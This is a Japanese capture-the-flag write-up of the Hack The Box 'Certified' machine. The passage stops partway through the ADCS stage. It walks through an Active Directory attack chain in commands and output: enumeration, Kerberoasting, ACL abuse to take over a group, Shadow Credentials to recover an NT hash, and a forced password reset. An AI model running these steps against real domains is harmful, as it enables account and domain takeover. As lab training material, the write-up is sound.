初めに
本記事は Hack The Box(以下リンク参照) の「Certified」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
初期探索
ポートスキャン
┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.10.11.41 --top
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.11.41:53
Open 10.10.11.41:88
Open 10.10.11.41:135
Open 10.10.11.41:139
Open 10.10.11.41:389
Open 10.10.11.41:445
Open 10.10.11.41:464
Open 10.10.11.41:593
Open 10.10.11.41:636
Open 10.10.11.41:3268
Open 10.10.11.41:3269
Open 10.10.11.41:5985
Open 10.10.11.41:9389
Open 10.10.11.41:49666
Open 10.10.11.41:49668
Open 10.10.11.41:49673
Open 10.10.11.41:49674
Open 10.10.11.41:49683
Open 10.10.11.41:49716
Open 10.10.11.41:49740
Open 10.10.11.41:57262
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-01 07:10 EST
Initiating Ping Scan at 07:10
Scanning 10.10.11.41 [4 ports]
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 100.00% done; ETC: 07:10 (0:00:00 remaining)
Completed Ping Scan at 07:10, 0.27s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 07:10
Scanning certified.htb (10.10.11.41) [21 ports]
Discovered open port 135/tcp on 10.10.11.41
Discovered open port 3269/tcp on 10.10.11.41
Discovered open port 49668/tcp on 10.10.11.41
Discovered open port 593/tcp on 10.10.11.41
Discovered open port 445/tcp on 10.10.11.41
Discovered open port 53/tcp on 10.10.11.41
Discovered open port 5985/tcp on 10.10.11.41
Discovered open port 9389/tcp on 10.10.11.41
Discovered open port 139/tcp on 10.10.11.41
Discovered open port 49666/tcp on 10.10.11.41
Discovered open port 49716/tcp on 10.10.11.41
Discovered open port 88/tcp on 10.10.11.41
Discovered open port 389/tcp on 10.10.11.41
Discovered open port 49673/tcp on 10.10.11.41
Discovered open port 57262/tcp on 10.10.11.41
Discovered open port 49683/tcp on 10.10.11.41
Discovered open port 3268/tcp on 10.10.11.41
Discovered open port 49740/tcp on 10.10.11.41
Discovered open port 464/tcp on 10.10.11.41
Discovered open port 49674/tcp on 10.10.11.41
Discovered open port 636/tcp on 10.10.11.41
Completed SYN Stealth Scan at 07:10, 0.44s elapsed (21 total ports)
Nmap scan report for certified.htb (10.10.11.41)
Host is up, received echo-reply ttl 127 (0.21s latency).
Scanned at 2025-02-01 07:10:56 EST for 0s
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
49673/tcp open unknown syn-ack ttl 127
49674/tcp open unknown syn-ack ttl 127
49683/tcp open unknown syn-ack ttl 127
49716/tcp open unknown syn-ack ttl 127
49740/tcp open unknown syn-ack ttl 127
57262/tcp open unknown syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds
Raw packets sent: 25 (1.076KB) | Rcvd: 22 (952B)
WindowsのPortが開いている。HTTP系のブラウザを扱うサービスはなさそう。AD環境ぽい。
初期クレデンシャル
最近のADのBOXには最初から侵入できるアカウントが渡されてるのでその情報を利用する。
ドメイン情報収集
ldapのスクリプトも回してさっとAD環境の情報を取得する。
┌──(root㉿kali)-[~/work]
└─# nmap -p 389 -n -Pn --script ldap-rootdse 10.10.11.41
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-01 07:09 EST
Nmap scan report for 10.10.11.41
Host is up (0.20s latency).
PORT STATE SERVICE
389/tcp open ldap
| ldap-rootdse:
| LDAP Results
| <ROOT>
| domainFunctionality: 7
| forestFunctionality: 7
| domainControllerFunctionality: 7
| rootDomainNamingContext: DC=certified,DC=htb
| ldapServiceName: certified.htb:dc01$@CERTIFIED.HTB
| isGlobalCatalogReady: TRUE
| supportedSASLMechanisms: GSSAPI
| supportedSASLMechanisms: GSS-SPNEGO
| supportedSASLMechanisms: EXTERNAL
| supportedSASLMechanisms: DIGEST-MD5
| supportedLDAPVersion: 3
| supportedLDAPVersion: 2
| supportedLDAPPolicies: MaxPoolThreads
| supportedLDAPPolicies: MaxPercentDirSyncRequests
| supportedLDAPPolicies: MaxDatagramRecv
| supportedLDAPPolicies: MaxReceiveBuffer
| supportedLDAPPolicies: InitRecvTimeout
| supportedLDAPPolicies: MaxConnections
| supportedLDAPPolicies: MaxConnIdleTime
| supportedLDAPPolicies: MaxPageSize
| supportedLDAPPolicies: MaxBatchReturnMessages
| supportedLDAPPolicies: MaxQueryDuration
| supportedLDAPPolicies: MaxDirSyncDuration
| supportedLDAPPolicies: MaxTempTableSize
| supportedLDAPPolicies: MaxResultSetSize
| supportedLDAPPolicies: MinResultSets
| supportedLDAPPolicies: MaxResultSetsPerConn
| supportedLDAPPolicies: MaxNotificationPerConn
| supportedLDAPPolicies: MaxValRange
| supportedLDAPPolicies: MaxValRangeTransitive
| supportedLDAPPolicies: ThreadMemoryLimit
| supportedLDAPPolicies: SystemMemoryLimitPercent
| supportedControl: 1.2.840.113556.1.4.319
| supportedControl: 1.2.840.113556.1.4.801
| supportedControl: 1.2.840.113556.1.4.473
| supportedControl: 1.2.840.113556.1.4.528
| supportedControl: 1.2.840.113556.1.4.417
| supportedControl: 1.2.840.113556.1.4.619
| supportedControl: 1.2.840.113556.1.4.841
| supportedControl: 1.2.840.113556.1.4.529
| supportedControl: 1.2.840.113556.1.4.805
| supportedControl: 1.2.840.113556.1.4.521
| supportedControl: 1.2.840.113556.1.4.970
| supportedControl: 1.2.840.113556.1.4.1338
| supportedControl: 1.2.840.113556.1.4.474
| supportedControl: 1.2.840.113556.1.4.1339
| supportedControl: 1.2.840.113556.1.4.1340
| supportedControl: 1.2.840.113556.1.4.1413
| supportedControl: 2.16.840.1.113730.3.4.9
| supportedControl: 2.16.840.1.113730.3.4.10
| supportedControl: 1.2.840.113556.1.4.1504
| supportedControl: 1.2.840.113556.1.4.1852
| supportedControl: 1.2.840.113556.1.4.802
| supportedControl: 1.2.840.113556.1.4.1907
| supportedControl: 1.2.840.113556.1.4.1948
| supportedControl: 1.2.840.113556.1.4.1974
| supportedControl: 1.2.840.113556.1.4.1341
| supportedControl: 1.2.840.113556.1.4.2026
| supportedControl: 1.2.840.113556.1.4.2064
| supportedControl: 1.2.840.113556.1.4.2065
| supportedControl: 1.2.840.113556.1.4.2066
| supportedControl: 1.2.840.113556.1.4.2090
| supportedControl: 1.2.840.113556.1.4.2205
| supportedControl: 1.2.840.113556.1.4.2204
| supportedControl: 1.2.840.113556.1.4.2206
| supportedControl: 1.2.840.113556.1.4.2211
| supportedControl: 1.2.840.113556.1.4.2239
| supportedControl: 1.2.840.113556.1.4.2255
| supportedControl: 1.2.840.113556.1.4.2256
| supportedControl: 1.2.840.113556.1.4.2309
| supportedControl: 1.2.840.113556.1.4.2330
| supportedControl: 1.2.840.113556.1.4.2354
| supportedCapabilities: 1.2.840.113556.1.4.800
| supportedCapabilities: 1.2.840.113556.1.4.1670
| supportedCapabilities: 1.2.840.113556.1.4.1791
| supportedCapabilities: 1.2.840.113556.1.4.1935
| supportedCapabilities: 1.2.840.113556.1.4.2080
| supportedCapabilities: 1.2.840.113556.1.4.2237
| subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=certified,DC=htb
| serverName: CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=certified,DC=htb
| schemaNamingContext: CN=Schema,CN=Configuration,DC=certified,DC=htb
| namingContexts: DC=certified,DC=htb
| namingContexts: CN=Configuration,DC=certified,DC=htb
| namingContexts: CN=Schema,CN=Configuration,DC=certified,DC=htb
| namingContexts: DC=DomainDnsZones,DC=certified,DC=htb
| namingContexts: DC=ForestDnsZones,DC=certified,DC=htb
| isSynchronized: TRUE
| highestCommittedUSN: 90805
| dsServiceName: CN=NTDS Settings,CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=certified,DC=htb
| dnsHostName: DC01.certified.htb
| defaultNamingContext: DC=certified,DC=htb
| currentTime: 20250201191002.0Z
|_ configurationNamingContext: CN=Configuration,DC=certified,DC=htb
Service Info: Host: DC01; OS: Windows
Nmap done: 1 IP address (1 host up) scanned in 1.23 seconds
certified.htbのドメイン情報を掴むことが出来た。この情報を/etc/hostsに以下のように登録しておく。
10.10.11.41 certified.htb
enum4linuxも回しておく
┌──(root㉿kali)-[~/work]
└─# enum4linux -u judith.mader -p judith09 -U 10.10.11.41
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Feb 1 07:07:04 2025
=========================================( Target Information )=========================================
Target ........... 10.10.11.41
RID Range ........ 500-550,1000-1050
Username ......... 'judith.mader'
Password ......... 'judith09'
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
============================( Enumerating Workgroup/Domain on 10.10.11.41 )============================
[E] Can't find workgroup/domain
====================================( Session Check on 10.10.11.41 )====================================
[+] Server 10.10.11.41 allows sessions using username 'judith.mader', password 'judith09'
=================================( Getting domain SID for 10.10.11.41 )=================================
Domain Name: CERTIFIED
Domain Sid: S-1-5-21-729746778-2675978091-3820388244
[+] Host is part of a domain (not a workgroup)
========================================( Users on 10.10.11.41 )========================================
index: 0xeda RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain
index: 0xfec RID: 0x641 acb: 0x00000210 Account: alexander.huges Name: Alexander Huges Desc: (null)
index: 0xfb4 RID: 0x452 acb: 0x00000210 Account: ca_operator Name: Operator CA Desc: (null)
index: 0xfee RID: 0x643 acb: 0x00000210 Account: gregory.cameron Name: Gregory Cameron Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xfed RID: 0x642 acb: 0x00000210 Account: harry.wilson Name: Harry Wilson Desc: (null)
index: 0xfb1 RID: 0x44f acb: 0x00000210 Account: judith.mader Name: Judith Mader Desc: (null)
index: 0xf10 RID: 0x1f6 acb: 0x00020011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0xfb3 RID: 0x451 acb: 0x00000210 Account: management_svc Name: management service Desc: (null)
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[judith.mader] rid:[0x44f]
user:[management_svc] rid:[0x451]
user:[ca_operator] rid:[0x452]
user:[alexander.huges] rid:[0x641]
user:[harry.wilson] rid:[0x642]
user:[gregory.cameron] rid:[0x643]
enum4linux complete on Sat Feb 1 07:07:27 2025
RIDでアカウントが列挙できた。
SMB enum
SMBを掘り下げておく。
┌──(root㉿kali)-[~/work]
└─# smbmap -H 10.10.11.41 -d certified.htb -u judith.mader -p judith09
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - ShawnDEvans@gmail.com<mailto:ShawnDEvans@gmail.com>
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 10.10.11.41:445 Name: certified.htb Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
[*] Closed 1 connections
特段面白そうなものはなさそう。
BloodHound
一気に情報を取得しに行きます。
┌──(root㉿kali)-[~/work]
└─# bloodhound-python -c all -d certified.htb -u judith.mader -p judith09 -ns 10.10.11.41 --zip
INFO: Found AD domain: certified.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.certified.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 10 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.certified.htb
INFO: Done in 00M 39S
INFO: Compressing output into 20250201071253_bloodhound.zip
BloodHoundの情報から色々探っていきます。
イニシャルアクセス
kerberoasting
とりあえずSPNあるユーザ探してみます。
以下のクエリをBloodhoundに叩き込みます。
MATCH (u:User) WHERE u.hasspn=true RETURN u
management_svcがいそう。impacket-GetUserSPNsを回していきます。
┌──(root㉿kali)-[~/work]
└─# impacket-GetUserSPNs -dc-ip 10.10.11.41 certified.htb/judith.mader:judith09 -request -save -outputfile tgs.hash
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
--------------------------------- -------------- ------------------------------------------ -------------------------- -------------------------- ----------
certified.htb/management_svc.DC01 management_svc CN=Management,CN=Users,DC=certified,DC=htb 2024-05-13 11:30:51.476756 2025-01-31 20:03:16.844779
[-] CCache file is not found. Skipping...
ハッシュをhashcatで解析していきます。
┌──(root㉿kali)-[~/work]
└─# hashcat -m 13100 -a 0 tgs.hash /usr/share/wordlists/rockyou.txt -r /usr/share/john/rules/best64.rule --force
hashcat (v6.2.6) starting
良い情報が出てきませんでした。
Abuse ACL
judith.maderさんでアクセスできるルートをBloodHoundで確認します。
management_svcを取れるルートがあり、此奴がCanPSRemoteを持ってるのでwinrmが通りそう。
ACLを悪用する形で進むのが正攻法そう。
WriteOwner
まずManagementのOwnerを自分に設定し、Managementグループに自身を含める必用がある。
とりあえずBloodHoundでHelpを確認する。
net rpcコマンドで完成しそう。その前にownereditでOwner変更する。以下からスクリプトを持ってくる。
回す。
┌──(root㉿kali)-[~/work]
└─# python3 owneredit.py certified.htb/judith.mader:judith09 -action write -new-owner 'judith.mader' -target 'management'
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-1103
[*] - sAMAccountName: judith.mader
[*] - distinguishedName: CN=Judith Mader,CN=Users,DC=certified,DC=htb
[*] OwnerSid modified successfully!
出来たのでメンバー編集権限を付ける。
┌──(root㉿kali)-[~/work/impacket/examples]
└─# python3 ../dacledit.py -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' 'certified.htb'/'judith.mader':'judith09'
Impacket v0.12.0.dev1 - Copyright Fortra, LLC and its affiliated companies
[*] DACL backed up to dacledit-20250201-083306.bak
[*] DACL modified successfully!
行けそう。net rpcコマンドを実施する。
┌──(root㉿kali)-[~/work/impacket/examples]
└─# net rpc group addmem "management" "judith.mader" -U "certified.htb/judith.mader%judith09" -I 10.10.11.41
これでmanagementメンバーに参加できた。
GenericWrite
次にGenericWriteを悪用していくのだが、targetedKerberoastとShadow Credentialsのルートがある。targetedKerberoastはこのmanagement_svc自体にすでにSPNが存在し、kerberoastingできなかったのでShadow Credentialsを実施する。
pywhiskerで証明書を取ってそこから認証し、NTLMハッシュを取得していく。
Abuse実施する前にADCSがあるかどうか確認していく。
┌──(root㉿kali)-[~/work]
└─# nxc ldap 10.10.11.41 -u judith.mader -p 'judith09' -M adcs
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.41 389 DC01 [+] certified.htb\judith.mader:judith09
ADCS 10.10.11.41 389 DC01 [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS 10.10.11.41 389 DC01 Found PKI Enrollment Server: DC01.certified.htb
ADCS 10.10.11.41 389 DC01 Found CN: certified-DC01-CA
ありそうなので通ると思われる。
というわけで実施していく。以下２つのリポジトリをクローンしておく。
実施する場合にPyOenSSLのバージョンによってエラーが出てくる。
以下で修正しておく。
┌──(root㉿kali)-[~/work/pywhisker/pywhisker]
└─# pip install impacket PyOpenSSL==24.0.0
さて、実施していく。
┌──(root㉿kali)-[~/work/pywhisker/pywhisker]
└─# python3 pywhisker.py -d "certified.htb" -u "JUDITH.MADER" -p "judith09" --target "MANAGEMENT_SVC" --action "add" --filename management
[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: d7c1a6cc-f984-c0df-873b-7bbf324e71bb
[*] Updating the msDS-KeyCredentialLink attribute of MANAGEMENT_SVC
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: management.pfx
[*] Must be used with password: p9YNUX6VMIzbDphQKb7d
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
証明書がゲットできた。次にTGTを取得していく。
通らない場合はntpdate 10.10.11.41で時刻を合わせていく。
┌──(root㉿kali)-[~/work/PKINITtools]
└─# python3 gettgtpkinit.py -cert-pfx management.pfx -pfx-pass p9YNUX6VMIzbDphQKb7d certified.htb/MANAGEMENT_SVC management.ccache
2025-02-01 15:38:33,506 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-02-01 15:38:33,521 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2025-02-01 15:38:38,299 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-02-01 15:38:38,299 minikerberos INFO 85b64e8ae2f640dbf8d1ace5c33b8a7a20944d71d1e56af10d5271dc315d23bd
INFO:minikerberos:85b64e8ae2f640dbf8d1ace5c33b8a7a20944d71d1e56af10d5271dc315d23bd
2025-02-01 15:38:38,302 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
このTGTからハッシュを取得する。
┌──(root㉿kali)-[~/work/PKINITtools]
└─# export KRB5CCNAME=management.ccache
┌──(root㉿kali)-[~/work/PKINITtools]
└─# python3 getnthash.py -key 85b64e8ae2f640dbf8d1ace5c33b8a7a20944d71d1e56af10d5271dc315d23bd certified.htb/MANAGEMENT_SVC
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584
ハッシュ奪取できたのでこれで侵入していく。
これでUserフラグゲットです。
権限昇格
情報収集
Certify
このBox名からADCS悪用だろうとメタ読みしてとりあえず脆弱な証明書があるか確認していきます。upload Certify.exeなどのコマンドでアップロードできます。
*Evil-WinRM* PS C:\Users\management_svc\Documents> .\Certify.exe find /vulnerable
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |'
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0
[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=certified,DC=htb'
[*] Listing info about the Enterprise CA 'certified-DC01-CA'
Enterprise CA Name : certified-DC01-CA
DNS Hostname : DC01.certified.htb
FullName : DC01.certified.htb\certified-DC01-CA
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=certified-DC01-CA, DC=certified, DC=htb
Cert Thumbprint : 6E732CD94E1A4E13F9263FB33DF4D99F7B13B718
Cert Serial : 36472F2C180FBB9B4983AD4D60CD5A9D
Cert Start Date : 5/13/2024 8:33:41 AM
Cert End Date : 5/13/2124 8:43:41 AM
Cert Chain : CN=certified-DC01-CA,DC=certified,DC=htb
UserSpecifiedSAN : Disabled
CA Permissions :
Owner: BUILTIN\Administrators S-1-5-32-544
Access Rights Principal
Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11
Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544
Allow ManageCA, ManageCertificates CERTIFIED\Domain Admins S-1-5-21-729746778-2675978091-3820388244-512
Allow ManageCA, ManageCertificates CERTIFIED\Enterprise Admins S-1-5-21-729746778-2675978091-3820388244-519
Enrollment Agent Restrictions : None
[+] No Vulnerable Certificates Templates found!
Certify completed in 00:00:12.2719298
*Evil-WinRM* PS C:\Users\management_svc\Documents>
特段見えない。
winPeas
winPEASany.exeも同様に転送して回してみます。
とりあえず回しとけですね。
*Evil-WinRM* PS C:\Users\management_svc\Documents> .\winPEASany.exe
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
((((((((((((((((((((((((((((((((
(((((((((((((((((((((((((((((((((((((((((((
((((((((((((((**********/##########(((((((((((((
((((((((((((********************/#######(((((((((((
((((((((******************/@@@@@/****######((((((((((
((((((********************@@@@@@@@@@/***,####((((((((((
(((((********************/@@@@@%@@@@/********##(((((((((
(((############*********/%@@@@@@@@@/************((((((((
((##################(/******/@@@@@/***************((((((
((#########################(/**********************(((((
((##############################(/*****************(((((
((###################################(/************(((((
((#######################################(*********(((((
((#######(,.***.,(###################(..***.*******(((((
((#######*(#####((##################((######/(*****(((((
((###################(/***********(##############()(((((
(((#####################/*******(################)((((((
((((############################################)((((((
(((((##########################################)(((((((
((((((########################################)(((((((
((((((((####################################)((((((((
(((((((((#################################)(((((((((
((((((((((##########################)(((((((((
((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((
ADVISORY: winpeas should be used for authorized penetration testing and/or educational purposes only.Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own devices and/or with the device owner's permission.
WinPEAS-ng by @hacktricks_live
/---------------------------------------------------------------------------------\
| Do you like PEASS? |
|---------------------------------------------------------------------------------|
| Follow on Twitter : @hacktricks_live |
| Respect on HTB : SirBroccoli |
|---------------------------------------------------------------------------------|
| Thank you! |
\---------------------------------------------------------------------------------/
特段いい情報はなかった。
Bloodhound
この'management_svc'の権限でBloodhoundを確認していきます。
SharpHound.exeを同様にアップロードして回していきます。
*Evil-WinRM* PS C:\Users\management_svc\Documents> .\SharpHound.exe -c All -d certified.htb --domainController 10.10.11.41
2025-02-01T13:04:09.8915851-08:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2025-02-01T13:04:10.0790844-08:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-02-01T13:04:10.1103310-08:00|INFORMATION|Initializing SharpHound at 1:04 PM on 2/1/2025
2025-02-01T13:04:10.1884504-08:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-02-01T13:04:10.3447054-08:00|INFORMATION|Beginning LDAP search for certified.htb
2025-02-01T13:04:10.3915907-08:00|INFORMATION|Producer has finished, closing LDAP channel
2025-02-01T13:04:10.3915907-08:00|INFORMATION|LDAP channel closed, waiting for consumers
2025-02-01T13:04:40.6884583-08:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 36 MB RAM
2025-02-01T13:04:53.5165802-08:00|INFORMATION|Consumers finished, closing output channel
2025-02-01T13:04:53.5478329-08:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2025-02-01T13:04:53.7353303-08:00|INFORMATION|Status: 96 objects finished (+96 2.232558)/s -- Using 42 MB RAM
2025-02-01T13:04:53.7353303-08:00|INFORMATION|Enumeration finished in 00:00:43.3856815
2025-02-01T13:04:53.8291000-08:00|INFORMATION|Saving cache with stats: 56 ID to type mappings.
56 name to SID mappings.
0 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2025-02-01T13:04:53.8447098-08:00|INFORMATION|SharpHound Enumeration Completed at 1:04 PM on 2/1/2025! Happy Graphing!
中身を確認していきます。
お、いい権限が見えますね。
Abuse GenericAll
とりあえずPowerViewを入れてパスワードの強制変更を実施します。
*Evil-WinRM* PS C:\Users\management_svc\Documents> . .\PowerView.ps1
*Evil-WinRM* PS C:\Users\management_svc\Documents> $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\management_svc\Documents> Set-DomainUserPassword -Identity ca_operator -AccountPassword $UserPassword
これでca_operatorのクレデンシャルを使えて色々出来そう。
この権限でADCSを悪用できそうか確認します。
Certipy-Docker
以下のリポジトリを利用して脆弱なテンプレートがないか確認していきます。
まずはBuild。
┌──(root㉿kali)-[~/work]
└─# git clone https://github.com/secure-77/Certipy-Docker
┌──(root㉿kali)-[~/work/Certipy-Docker]
└─# docker build -t certipy:latest .
回してみます。
┌──(root㉿kali)-[~/work/Certipy-Docker]
└─# docker run -it -v $(pwd):/tmp certipy:latest certipy find -dc-ip 10.10.11.41 -u 'ca_operator@certified.htb' -p 'Password123!' -vulnerable -debug -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[+] Authenticating to LDAP server
[+] Bound to ldaps://10.10.11.41:636 - ssl
[+] Default path: DC=certified,DC=htb
[+] Configuration path: CN=Configuration,DC=certified,DC=htb
[+] Adding Domain Computers to list of current user's SIDs
[+] List of current user's SIDs:
CERTIFIED.HTB\Domain Computers (S-1-5-21-729746778-2675978091-3820388244-515)
CERTIFIED.HTB\Authenticated Users (CERTIFIED.HTB-S-1-5-11)
CERTIFIED.HTB\Users (CERTIFIED.HTB-S-1-5-32-545)
CERTIFIED.HTB\Everyone (CERTIFIED.HTB-S-1-1-0)
CERTIFIED.HTB\Domain Users (S-1-5-21-729746778-2675978091-3820388244-513)
CERTIFIED.HTB\operator ca (S-1-5-21-729746778-2675978091-3820388244-1106)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[+] Trying to resolve 'DC01.certified.htb' at '10.10.11.41'
[*] Trying to get CA configuration for 'certified-DC01-CA' via CSRA
[+] Trying to get DCOM connection for: 10.10.11.41
[!] Got error while trying to get CA configuration for 'certified-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'certified-DC01-CA' via RRP
[+] Connected to remote registry at 'DC01.certified.htb' (10.10.11.41)
[*] Got CA configuration for 'certified-DC01-CA'
[+] Resolved 'DC01.certified.htb' from cache: 10.10.11.41
[+] Connecting to 10.10.11.41:80
[*] Enumeration output:
Certificate Authorities
0
CA Name : certified-DC01-CA
DNS Name : DC01.certified.htb
Certificate Subject : CN=certified-DC01-CA, DC=certified, DC=htb
Certificate Serial Number : 36472F2C180FBB9B4983AD4D60CD5A9D
Certificate Validity Start : 2024-05-13 15:33:41+00:00
Certificate Validity End : 2124-05-13 15:43:41+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : CERTIFIED.HTB\Administrators
Access Rights
ManageCertificates : CERTIFIED.HTB\Administrators
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
ManageCa : CERTIFIED.HTB\Administrators
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Enroll : CERTIFIED.HTB\Authenticated Users
Certificate Templates
0
Template Name : CertifiedAuthentication
Display Name : Certified Authentication
Certificate Authorities : certified-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireDirectoryPath
SubjectAltRequireUpn
